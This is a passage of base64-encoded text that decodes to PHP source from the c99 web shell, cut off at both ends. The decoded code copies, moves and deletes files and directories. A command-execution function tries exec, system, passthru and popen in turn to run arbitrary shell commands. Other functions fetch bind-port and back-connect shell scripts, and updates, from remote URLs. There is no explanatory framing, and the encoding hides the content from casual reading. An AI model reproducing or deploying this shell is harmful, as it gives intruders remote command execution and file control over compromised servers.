ICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkcmV0ID0gbWtkaXIoJHQgLiBE
SVJFQ1RPUllfU0VQQVJBVE9SIC4gJG8pOw0KICAgICAgICAgICAgICAgICAgICAgICAgZnNfY29w
eV9kaXIoJGQgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJG8sICR0IC4gRElSRUNUT1JZX1NFUEFS
QVRPUiAuICRvKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBp
ZiAoISRyZXQpDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAg
IHJldHVybiAkcmV0Ow0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0K
ICAgICAgICAgICAgfQ0KICAgICAgICAgICAgY2xvc2VkaXIoJGgpOw0KICAgICAgICAgICAgcmV0
dXJuIHRydWU7DQogICAgICAgIH0NCiAgICB9DQogICAgaWYgKCFmdW5jdGlvbl9leGlzdHMoImZz
X2NvcHlfb2JqIikpDQogICAgew0KICAgICAgICBmdW5jdGlvbiBmc19jb3B5X29iaigkZCwgJHQp
DQogICAgICAgIHsNCiAgICAgICAgICAgICRkID0gc3RyX3JlcGxhY2UoIlxcIiwgRElSRUNUT1JZ
X1NFUEFSQVRPUiwgJGQpOw0KICAgICAgICAgICAgJHQgPSBzdHJfcmVwbGFjZSgiXFwiLCBESVJF
Q1RPUllfU0VQQVJBVE9SLCAkdCk7DQogICAgICAgICAgICBpZiAoIWlzX2RpcihkaXJuYW1lKCR0
KSkpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgbWtkaXIoZGlybmFtZSgkdCkpOw0K
ICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKGlzX2RpcigkZCkpDQogICAgICAgICAgICB7
DQogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkZCwgLTEpICE9IERJUkVDVE9SWV9TRVBBUkFU
T1IpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAkZCAuPSBESVJFQ1RP
UllfU0VQQVJBVE9SOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBpZiAoc3Vi
c3RyKCR0LCAtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikNCiAgICAgICAgICAgICAgICB7DQog
ICAgICAgICAgICAgICAgICAgICR0IC49IERJUkVDVE9SWV9TRVBBUkFUT1I7DQogICAgICAgICAg
ICAgICAgfQ0KICAgICAgICAgICAgICAgIHJldHVybiBmc19jb3B5X2RpcigkZCwgJHQpOw0KICAg
ICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZWlmIChpc19maWxlKCRkKSkNCiAgICAgICAgICAg
IHsNCiAgICAgICAgICAgICAgICByZXR1cm4gY29weSgkZCwgJHQpOw0KICAgICAgICAgICAgfQ0K
ICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIHJldHVybiBm
YWxzZTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoIWZ1bmN0aW9u
X2V4aXN0cygiZnNfbW92ZV9kaXIiKSkNCiAgICB7DQogICAgICAgIGZ1bmN0aW9uIGZzX21vdmVf
ZGlyKCRkLCAkdCkNCiAgICAgICAgew0KICAgICAgICAgICAgJGggPSBvcGVuZGlyKCRkKTsNCiAg
ICAgICAgICAgIGlmICghaXNfZGlyKCR0KSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAg
ICBta2RpcigkdCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICB3aGlsZSAoKCRvID0gcmVh
ZGRpcigkaCkpICE9PSBmYWxzZSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBpZiAo
KCRvICE9ICIuIikgYW5kICgkbyAhPSAiLi4iKSkNCiAgICAgICAgICAgICAgICB7DQogICAgICAg
ICAgICAgICAgICAgICRyZXQgPSB0cnVlOw0KICAgICAgICAgICAgICAgICAgICBpZiAoIWlzX2Rp
cigkZCAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkbykpDQogICAgICAgICAgICAgICAgICAgIHsN
CiAgICAgICAgICAgICAgICAgICAgICAgICRyZXQgPSBjb3B5KCRkIC4gRElSRUNUT1JZX1NFUEFS
QVRPUiAuICRvLCAkdCAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkbyk7DQogICAgICAgICAgICAg
ICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICB7
DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAobWtkaXIoJHQgLiBESVJFQ1RPUllfU0VQQVJB
VE9SIC4gJG8pIGFuZCBmc19jb3B5X2RpcigkZCAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkbywg
JHQgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJG8pKQ0KICAgICAgICAgICAgICAgICAgICAgICAg
ew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXQgPSBmYWxzZTsNCiAgICAgICAgICAg
ICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAg
ICBpZiAoISRyZXQpDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAg
ICAgIHJldHVybiAkcmV0Ow0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAg
fQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgY2xvc2VkaXIoJGgpOw0KICAgICAgICAgICAg
cmV0dXJuIHRydWU7DQogICAgICAgIH0NCiAgICB9DQogICAgaWYgKCFmdW5jdGlvbl9leGlzdHMo
ImZzX21vdmVfb2JqIikpDQogICAgew0KICAgICAgICBmdW5jdGlvbiBmc19tb3ZlX29iaigkZCwg
JHQpDQogICAgICAgIHsNCiAgICAgICAgICAgICRkID0gc3RyX3JlcGxhY2UoIlxcIiwgRElSRUNU
T1JZX1NFUEFSQVRPUiwgJGQpOw0KICAgICAgICAgICAgJHQgPSBzdHJfcmVwbGFjZSgiXFwiLCBE
SVJFQ1RPUllfU0VQQVJBVE9SLCAkdCk7DQogICAgICAgICAgICBpZiAoaXNfZGlyKCRkKSkNCiAg
ICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBpZiAoc3Vic3RyKCRkLCAtMSkgIT0gRElSRUNU
T1JZX1NFUEFSQVRPUikNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICRk
IC49IERJUkVDVE9SWV9TRVBBUkFUT1I7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAg
ICAgIGlmIChzdWJzdHIoJHQsIC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKQ0KICAgICAgICAg
ICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJHQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjsN
CiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgcmV0dXJuIGZzX21vdmVfZGlyKCRk
LCAkdCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlbHNlaWYgKGlzX2ZpbGUoJGQpKQ0K
ICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIGlmIChjb3B5KCRkLCAkdCkpDQogICAgICAg
ICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gdW5saW5rKCRkKTsNCiAgICAg
ICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgIHsNCiAg
ICAgICAgICAgICAgICAgICAgdW5saW5rKCR0KTsNCiAgICAgICAgICAgICAgICAgICAgcmV0dXJu
IGZhbHNlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVs
c2UNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAg
ICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgaWYgKCFmdW5jdGlvbl9leGlzdHMoImZzX3Jt
ZGlyIikpDQogICAgew0KICAgICAgICBmdW5jdGlvbiBmc19ybWRpcigkZCkNCiAgICAgICAgew0K
ICAgICAgICAgICAgJGggPSBvcGVuZGlyKCRkKTsNCiAgICAgICAgICAgIHdoaWxlICgoJG8gPSBy
ZWFkZGlyKCRoKSkgIT09IGZhbHNlKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIGlm
ICgoJG8gIT0gIi4iKSBhbmQgKCRvICE9ICIuLiIpKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAg
ICAgICAgICAgICAgICAgaWYgKCFpc19kaXIoJGQgLiAkbykpDQogICAgICAgICAgICAgICAgICAg
IHsNCiAgICAgICAgICAgICAgICAgICAgICAgIHVubGluaygkZCAuICRvKTsNCiAgICAgICAgICAg
ICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAg
IHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGZzX3JtZGlyKCRkIC4gJG8gLiBESVJFQ1RPUllf
U0VQQVJBVE9SKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIHJtZGlyKCRkIC4gJG8pOw0KICAg
ICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAg
ICAgICAgICAgY2xvc2VkaXIoJGgpOw0KICAgICAgICAgICAgcm1kaXIoJGQpOw0KICAgICAgICAg
ICAgcmV0dXJuICFpc19kaXIoJGQpOw0KICAgICAgICB9DQogICAgfQ0KICAgIGlmICghZnVuY3Rp
b25fZXhpc3RzKCJmc19ybW9iaiIpKQ0KICAgIHsNCiAgICAgICAgZnVuY3Rpb24gZnNfcm1vYmoo
JG8pDQogICAgICAgIHsNCiAgICAgICAgICAgICRvID0gc3RyX3JlcGxhY2UoIlxcIiwgRElSRUNU
T1JZX1NFUEFSQVRPUiwgJG8pOw0KICAgICAgICAgICAgaWYgKGlzX2RpcigkbykpDQogICAgICAg
ICAgICB7DQogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkbywgLTEpICE9IERJUkVDVE9SWV9T
RVBBUkFUT1IpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAkbyAuPSBE
SVJFQ1RPUllfU0VQQVJBVE9SOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBy
ZXR1cm4gZnNfcm1kaXIoJG8pOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZWlmIChp
c19maWxlKCRvKSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICByZXR1cm4gdW5saW5r
KCRvKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgIHsNCiAg
ICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAg
ICB9DQogICAgaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c2hlbGxleGVjIikpDQogICAgew0KICAg
ICAgICBmdW5jdGlvbiBteXNoZWxsZXhlYygkY21kKQ0KICAgICAgICB7DQogICAgICAgICAgICBn
bG9iYWwgJGRpc2FibGVmdW5jOw0KICAgICAgICAgICAgJHJlc3VsdCA9ICIiOw0KICAgICAgICAg
ICAgaWYgKCFlbXB0eSgkY21kKSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBpZiAo
aXNfY2FsbGFibGUoImV4ZWMiKSBhbmQgIWluX2FycmF5KCJleGVjIiwgJGRpc2FibGVmdW5jKSkN
CiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgIGV4ZWMoJGNtZCwgJHJlc3Vs
dCk7DQogICAgICAgICAgICAgICAgICAgICRyZXN1bHQgPSBqb2luKCJcbiIsICRyZXN1bHQpOw0K
ICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBlbHNlaWYgKCgkcmVzdWx0ID0gYCRj
bWRgKSAhPT0gZmFsc2UpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIH0NCiAg
ICAgICAgICAgICAgICBlbHNlaWYgKGlzX2NhbGxhYmxlKCJzeXN0ZW0iKSBhbmQgIWluX2FycmF5
KCJzeXN0ZW0iLCAkZGlzYWJsZWZ1bmMpKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAg
ICAgICAgICAgJHYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7DQogICAgICAgICAgICAgICAgICAgIEBv
Yl9jbGVhbigpOw0KICAgICAgICAgICAgICAgICAgICBzeXN0ZW0oJGNtZCk7DQogICAgICAgICAg
ICAgICAgICAgICRyZXN1bHQgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7DQogICAgICAgICAgICAgICAg
ICAgIEBvYl9jbGVhbigpOw0KICAgICAgICAgICAgICAgICAgICBlY2hvICR2Ow0KICAgICAgICAg
ICAgICAgIH0NCiAgICAgICAgICAgICAgICBlbHNlaWYgKGlzX2NhbGxhYmxlKCJwYXNzdGhydSIp
IGFuZCAhaW5fYXJyYXkoInBhc3N0aHJ1IiwgJGRpc2FibGVmdW5jKSkNCiAgICAgICAgICAgICAg
ICB7DQogICAgICAgICAgICAgICAgICAgICR2ID0gQG9iX2dldF9jb250ZW50cygpOw0KICAgICAg
ICAgICAgICAgICAgICBAb2JfY2xlYW4oKTsNCiAgICAgICAgICAgICAgICAgICAgcGFzc3RocnUo
JGNtZCk7DQogICAgICAgICAgICAgICAgICAgICRyZXN1bHQgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7
DQogICAgICAgICAgICAgICAgICAgIEBvYl9jbGVhbigpOw0KICAgICAgICAgICAgICAgICAgICBl
Y2hvICR2Ow0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBlbHNlaWYgKGlzX3Jl
c291cmNlKCRmcCA9IHBvcGVuKCRjbWQsICJyIikpKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAg
ICAgICAgICAgICAgICAgJHJlc3VsdCA9ICIiOw0KICAgICAgICAgICAgICAgICAgICB3aGlsZSAo
IWZlb2YoJGZwKSkNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAg
ICAgJHJlc3VsdCAuPSBmcmVhZCgkZnAsIDEwMjQpOw0KICAgICAgICAgICAgICAgICAgICB9DQog
ICAgICAgICAgICAgICAgICAgIHBjbG9zZSgkZnApOw0KICAgICAgICAgICAgICAgIH0NCiAgICAg
ICAgICAgIH0NCiAgICAgICAgICAgIHJldHVybiAkcmVzdWx0Ow0KICAgICAgICB9DQogICAgfQ0K
ICAgIGlmICghZnVuY3Rpb25fZXhpc3RzKCJ0YWJzb3J0IikpDQogICAgew0KICAgICAgICBmdW5j
dGlvbiB0YWJzb3J0KCRhLCAkYikNCiAgICAgICAgew0KICAgICAgICAgICAgZ2xvYmFsICR2Ow0K
ICAgICAgICAgICAgcmV0dXJuIHN0cm5hdGNtcCgkYVskdl0sICRiWyR2XSk7DQogICAgICAgIH0N
CiAgICB9DQogICAgaWYgKCFmdW5jdGlvbl9leGlzdHMoInZpZXdfcGVybXMiKSkNCiAgICB7DQog
ICAgICAgIGZ1bmN0aW9uIHZpZXdfcGVybXMoJG1vZGUpDQogICAgICAgIHsNCiAgICAgICAgICAg
IGlmICgoJG1vZGUgJiAweEMwMDApID09PSAweEMwMDApDQogICAgICAgICAgICB7DQogICAgICAg
ICAgICAgICAgJHR5cGUgPSAicyI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlbHNlaWYg
KCgkbW9kZSAmIDB4NDAwMCkgPT09IDB4NDAwMCkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAg
ICAgICAkdHlwZSA9ICJkIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2VpZiAoKCRt
b2RlICYgMHhBMDAwKSA9PT0gMHhBMDAwKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAg
ICR0eXBlID0gImwiOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZWlmICgoJG1vZGUg
JiAweDgwMDApID09PSAweDgwMDApDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJHR5
cGUgPSAiLSI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlbHNlaWYgKCgkbW9kZSAmIDB4
NjAwMCkgPT09IDB4NjAwMCkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkdHlwZSA9
ICJiIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2VpZiAoKCRtb2RlICYgMHgyMDAw
KSA9PT0gMHgyMDAwKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICR0eXBlID0gImMi
Ow0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZWlmICgoJG1vZGUgJiAweDEwMDApID09
PSAweDEwMDApDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJHR5cGUgPSAicCI7DQog
ICAgICAgICAgICB9DQogICAgICAgICAgICBlbHNlDQogICAgICAgICAgICB7DQogICAgICAgICAg
ICAgICAgJHR5cGUgPSAiPyI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkb3duZXJbInJl
YWQiXSA9ICgkbW9kZSAmIDAwNDAwKSA/ICJyIiA6ICItIjsNCiAgICAgICAgICAgICRvd25lclsi
d3JpdGUiXSA9ICgkbW9kZSAmIDAwMjAwKSA/ICJ3IiA6ICItIjsNCiAgICAgICAgICAgICRvd25l
clsiZXhlY3V0ZSJdID0gKCRtb2RlICYgMDAxMDApID8gIngiIDogIi0iOw0KICAgICAgICAgICAg
JGdyb3VwWyJyZWFkIl0gPSAoJG1vZGUgJiAwMDA0MCkgPyAiciIgOiAiLSI7DQogICAgICAgICAg
ICAkZ3JvdXBbIndyaXRlIl0gPSAoJG1vZGUgJiAwMDAyMCkgPyAidyIgOiAiLSI7DQogICAgICAg
ICAgICAkZ3JvdXBbImV4ZWN1dGUiXSA9ICgkbW9kZSAmIDAwMDEwKSA/ICJ4IiA6ICItIjsNCiAg
ICAgICAgICAgICR3b3JsZFsicmVhZCJdID0gKCRtb2RlICYgMDAwMDQpID8gInIiIDogIi0iOw0K
ICAgICAgICAgICAgJHdvcmxkWyJ3cml0ZSJdID0gKCRtb2RlICYgMDAwMDIpID8gInciIDogIi0i
Ow0KICAgICAgICAgICAgJHdvcmxkWyJleGVjdXRlIl0gPSAoJG1vZGUgJiAwMDAwMSkgPyAieCIg
OiAiLSI7DQogICAgICAgICAgICBpZiAoJG1vZGUgJiAweDgwMCkNCiAgICAgICAgICAgIHsNCiAg
ICAgICAgICAgICAgICAkb3duZXJbImV4ZWN1dGUiXSA9ICgkb3duZXJbImV4ZWN1dGUiXSA9PSAi
eCIpID8gInMiIDogIlMiOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKCRtb2RlICYg
MHg0MDApDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJGdyb3VwWyJleGVjdXRlIl0g
PSAoJGdyb3VwWyJleGVjdXRlIl0gPT0gIngiKSA/ICJzIiA6ICJTIjsNCiAgICAgICAgICAgIH0N
CiAgICAgICAgICAgIGlmICgkbW9kZSAmIDB4MjAwKQ0KICAgICAgICAgICAgew0KICAgICAgICAg
ICAgICAgICR3b3JsZFsiZXhlY3V0ZSJdID0gKCR3b3JsZFsiZXhlY3V0ZSJdID09ICJ4IikgPyAi
dCIgOiAiVCI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICByZXR1cm4gJHR5cGUgLiBqb2lu
KCIiLCAkb3duZXIpIC4gam9pbigiIiwgJGdyb3VwKSAuIGpvaW4oIiIsICR3b3JsZCk7DQogICAg
ICAgIH0NCiAgICB9DQogICAgaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikg
YW5kICFpbl9hcnJheSgicG9zaXhfZ2V0cHd1aWQiLCAkZGlzYWJsZWZ1bmMpKQ0KICAgIHsNCiAg
ICAgICAgZnVuY3Rpb24gcG9zaXhfZ2V0cHd1aWQoJHVpZCkNCiAgICAgICAgew0KICAgICAgICAg
ICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICB9DQogICAgfQ0KICAgIGlmICghZnVuY3Rpb25fZXhp
c3RzKCJwb3NpeF9nZXRncmdpZCIpIGFuZCAhaW5fYXJyYXkoInBvc2l4X2dldGdyZ2lkIiwgJGRp
c2FibGVmdW5jKSkNCiAgICB7DQogICAgICAgIGZ1bmN0aW9uIHBvc2l4X2dldGdyZ2lkKCRnaWQp
DQogICAgICAgIHsNCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgfQ0KICAgIH0N
CiAgICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfa2lsbCIpIGFuZCAhaW5fYXJyYXkoInBv
c2l4X2tpbGwiLCAkZGlzYWJsZWZ1bmMpKQ0KICAgIHsNCiAgICAgICAgZnVuY3Rpb24gcG9zaXhf
a2lsbCgkZ2lkKQ0KICAgICAgICB7DQogICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAg
IH0NCiAgICB9DQogICAgaWYgKCFmdW5jdGlvbl9leGlzdHMoInBhcnNlX3Blcm1zIikpDQogICAg
ew0KICAgICAgICBmdW5jdGlvbiBwYXJzZV9wZXJtcygkbW9kZSkNCiAgICAgICAgew0KICAgICAg
ICAgICAgaWYgKCgkbW9kZSAmIDB4QzAwMCkgPT09IDB4QzAwMCkNCiAgICAgICAgICAgIHsNCiAg
ICAgICAgICAgICAgICAkdCA9ICJzIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2Vp
ZiAoKCRtb2RlICYgMHg0MDAwKSA9PT0gMHg0MDAwKQ0KICAgICAgICAgICAgew0KICAgICAgICAg
ICAgICAgICR0ID0gImQiOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZWlmICgoJG1v
ZGUgJiAweEEwMDApID09PSAweEEwMDApDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAg
JHQgPSAibCI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlbHNlaWYgKCgkbW9kZSAmIDB4
ODAwMCkgPT09IDB4ODAwMCkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkdCA9ICIt
IjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2VpZiAoKCRtb2RlICYgMHg2MDAwKSA9
PT0gMHg2MDAwKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICR0ID0gImIiOw0KICAg
ICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZWlmICgoJG1vZGUgJiAweDIwMDApID09PSAweDIw
MDApDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJHQgPSAiYyI7DQogICAgICAgICAg
ICB9DQogICAgICAgICAgICBlbHNlaWYgKCgkbW9kZSAmIDB4MTAwMCkgPT09IDB4MTAwMCkNCiAg
ICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkdCA9ICJwIjsNCiAgICAgICAgICAgIH0NCiAg
ICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkdCA9ICI/IjsN
CiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICRvWyJyIl0gPSAoJG1vZGUgJiAwMDQwMCkgPiAw
Ow0KICAgICAgICAgICAgJG9bInciXSA9ICgkbW9kZSAmIDAwMjAwKSA+IDA7DQogICAgICAgICAg
ICAkb1sieCJdID0gKCRtb2RlICYgMDAxMDApID4gMDsNCiAgICAgICAgICAgICRnWyJyIl0gPSAo
JG1vZGUgJiAwMDA0MCkgPiAwOw0KICAgICAgICAgICAgJGdbInciXSA9ICgkbW9kZSAmIDAwMDIw
KSA+IDA7DQogICAgICAgICAgICAkZ1sieCJdID0gKCRtb2RlICYgMDAwMTApID4gMDsNCiAgICAg
ICAgICAgICR3WyJyIl0gPSAoJG1vZGUgJiAwMDAwNCkgPiAwOw0KICAgICAgICAgICAgJHdbInci
XSA9ICgkbW9kZSAmIDAwMDAyKSA+IDA7DQogICAgICAgICAgICAkd1sieCJdID0gKCRtb2RlICYg
MDAwMDEpID4gMDsNCiAgICAgICAgICAgIHJldHVybiBhcnJheSgNCiAgICAgICAgICAgICAgICAi
dCIgPT4gJHQsDQogICAgICAgICAgICAgICAgIm8iID0+ICRvLA0KICAgICAgICAgICAgICAgICJn
IiA9PiAkZywNCiAgICAgICAgICAgICAgICAidyIgPT4gJHcNCiAgICAgICAgICAgICk7DQogICAg
ICAgIH0NCiAgICB9DQogICAgaWYgKCFmdW5jdGlvbl9leGlzdHMoInBhcnNlc29ydCIpKQ0KICAg
IHsNCiAgICAgICAgZnVuY3Rpb24gcGFyc2Vzb3J0KCRzb3J0KQ0KICAgICAgICB7DQogICAgICAg
ICAgICAkb25lID0gaW50dmFsKCRzb3J0KTsNCiAgICAgICAgICAgICRzZWNvbmQgPSBzdWJzdHIo
JHNvcnQsIC0xKTsNCiAgICAgICAgICAgIGlmICgkc2Vjb25kICE9ICJkIikNCiAgICAgICAgICAg
IHsNCiAgICAgICAgICAgICAgICAkc2Vjb25kID0gImEiOw0KICAgICAgICAgICAgfQ0KICAgICAg
ICAgICAgcmV0dXJuIGFycmF5KA0KICAgICAgICAgICAgICAgICRvbmUsDQogICAgICAgICAgICAg
ICAgJHNlY29uZA0KICAgICAgICAgICAgKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoIWZ1
bmN0aW9uX2V4aXN0cygidmlld19wZXJtc19jb2xvciIpKQ0KICAgIHsNCiAgICAgICAgZnVuY3Rp
b24gdmlld19wZXJtc19jb2xvcigkbykNCiAgICAgICAgew0KICAgICAgICAgICAgaWYgKCFpc19y
ZWFkYWJsZSgkbykpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgcmV0dXJuICI8Zm9u
dCBjb2xvcj1yZWQ+IiAuIHZpZXdfcGVybXMoZmlsZXBlcm1zKCRvKSkgLiAiPC9mb250PiI7DQog
ICAgICAgICAgICB9DQogICAgICAgICAgICBlbHNlaWYgKCFpc193cml0YWJsZSgkbykpDQogICAg
ICAgICAgICB7DQogICAgICAgICAgICAgICAgcmV0dXJuICI8Zm9udCBjb2xvcj13aGl0ZT4iIC4g
dmlld19wZXJtcyhmaWxlcGVybXMoJG8pKSAuICI8L2ZvbnQ+IjsNCiAgICAgICAgICAgIH0NCiAg
ICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICByZXR1cm4gIjxm
b250IGNvbG9yPWdyZWVuPiIgLiB2aWV3X3Blcm1zKGZpbGVwZXJtcygkbykpIC4gIjwvZm9udD4i
Ow0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KICAgIGlmICghZnVuY3Rpb25fZXhp
c3RzKCJjOTlnZXRzb3VyY2UiKSkNCiAgICB7DQogICAgICAgIGZ1bmN0aW9uIGM5OWdldHNvdXJj
ZSgkZm4pDQogICAgICAgIHsNCiAgICAgICAgICAgIGdsb2JhbCAkYzk5c2hfc291cmNlc3VybDsN
CiAgICAgICAgICAgICRhcnJheSA9IGFycmF5KA0KICAgICAgICAgICAgICAgICJjOTlzaF9iaW5k
cG9ydC5wbCIgPT4gImM5OXNoX2JpbmRwb3J0X3BsLnR4dCIsDQogICAgICAgICAgICAgICAgImM5
OXNoX2JpbmRwb3J0LmMiID0+ICJjOTlzaF9iaW5kcG9ydF9jLnR4dCIsDQogICAgICAgICAgICAg
ICAgImM5OXNoX2JhY2tjb25uLnBsIiA9PiAiYzk5c2hfYmFja2Nvbm5fcGwudHh0IiwNCiAgICAg
ICAgICAgICAgICAiYzk5c2hfYmFja2Nvbm4uYyIgPT4gImM5OXNoX2JhY2tjb25uX2MudHh0IiwN
CiAgICAgICAgICAgICAgICAiYzk5c2hfZGF0YXBpcGUucGwiID0+ICJjOTlzaF9kYXRhcGlwZV9w
bC50eHQiLA0KICAgICAgICAgICAgICAgICJjOTlzaF9kYXRhcGlwZS5jIiA9PiAiYzk5c2hfZGF0
YXBpcGVfYy50eHQiLA0KICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICRuYW1lID0gJGFycmF5
WyRmbl07DQogICAgICAgICAgICBpZiAoJG5hbWUpDQogICAgICAgICAgICB7DQogICAgICAgICAg
ICAgICAgcmV0dXJuIGZpbGVfZ2V0X2NvbnRlbnRzKCRjOTlzaF9zb3VyY2VzdXJsIC4gJG5hbWUp
Ow0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgew0KICAgICAg
ICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0N
CiAgICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygiYzk5c2hfZ2V0dXBkYXRlIikpDQogICAgew0KICAg
ICAgICBmdW5jdGlvbiBjOTlzaF9nZXR1cGRhdGUoJHVwZGF0ZSA9IHRydWUpDQogICAgICAgIHsN
CiAgICAgICAgICAgICR1cmwgPSAkR0xPQkFMU1siYzk5c2hfdXBkYXRldXJsIl0gLiAiP3ZlcnNp
b249IiAuIHVybGVuY29kZShiYXNlNjRfZW5jb2RlKCRHTE9CQUxTWyJzaHZlciJdKSkgLiAiJnVw
